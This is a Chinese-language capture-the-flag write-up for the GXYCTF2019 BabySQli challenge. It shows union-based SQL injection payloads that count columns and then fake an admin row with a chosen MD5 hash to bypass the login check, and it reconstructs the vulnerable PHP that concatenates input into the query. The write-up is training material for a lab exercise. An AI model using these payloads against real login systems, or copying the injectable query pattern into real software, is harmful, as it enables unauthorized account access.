[GXYCTF2019]BabySQli——“绕过md5比较”

TMD这道题目就是脑洞真的大!!!进入题目,一个登录框,
在这里插入图片描述
随便输入后点击登录就跳转到了search.php页面,查看源码可以发现一长传编码,
在这里插入图片描述
base32再base64解密之后是 select * from user where username = '$name'。常规sql注入手段猜测后台代码中的字段数:
1' union select 1,2#
在这里插入图片描述
1' union select 1,2,3#
在这里插入图片描述
可以测出user这个表一共有三列,猜测分别为id,username,password(经验)

在这里,这道题的用户名和密码分开检验,也就是说它是先检验username,把username对应的所有字段都查出来后,再检验密码能不能和查出来的密码对上,检验密码的过程可能会有一个md5的加密。

我们在注入的时候,发现会回显“wrong user!”,但当我们是测试admin用户时却回显wrong pass!(密码错误),很明显这里绝对存在admin这个账号。此时,我们的思路就是登上admin用户或者得到admin的密码。
在这里插入图片描述
在这里插入图片描述
在用联合注入,
1' union select 1,2,3#
回显wrong user!,说明用户不在第一列
尝试将admin放在第二列的位置,
1' union select 1,'admin',3#
回显wrong pass!,得到用户名是在第二列的位置的

于是我们便可以去猜测search.php它的后端是怎么写的:

......
$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";   
// echo $sql;
$result = mysqli_query($con, $sql);      
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}else{
			die("wrong pass!");
		}
}else{
		die("wrong user!");
	 }
}
......

将查询出来的passwd和输入的密码的md5值比较,相等则登录得到flag不相等则wrong pass。
就是我们的sql语句执行时,password字段中的内容要==md5(我们密码栏输入的password)。接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据

看了web,学到了联合注入有个技巧。在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据。 举个例子:
最初users表中只有一行数据,
在这里插入图片描述
我们通过union select查询就可以构造一行虚拟的数据,
在这里插入图片描述
如上图,我们在users表中利用联合查询创建了一行虚拟的数据。
在这里插入图片描述
那么我们的思路就来了,我们可以利用联合查询来创建一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户的密码(123)加进去,这样我们不就可以登录admin用户了吗。

我们在用户名处输入1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152d234b70为123的md5加密值,此题由于过滤了括号,所以不能用md5()函数)。在密码处输入我们自定义的密码123,即可绕过检验,成功登陆admin账户,得到flag:
在这里插入图片描述
这样,username出的内容拼接到search.php中成了这样:

$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#";  
// echo $sql;
$result = mysqli_query($con, $sql);      
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}else{
			die("wrong pass!");
		}
}else{
		die("wrong user!");
	 }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值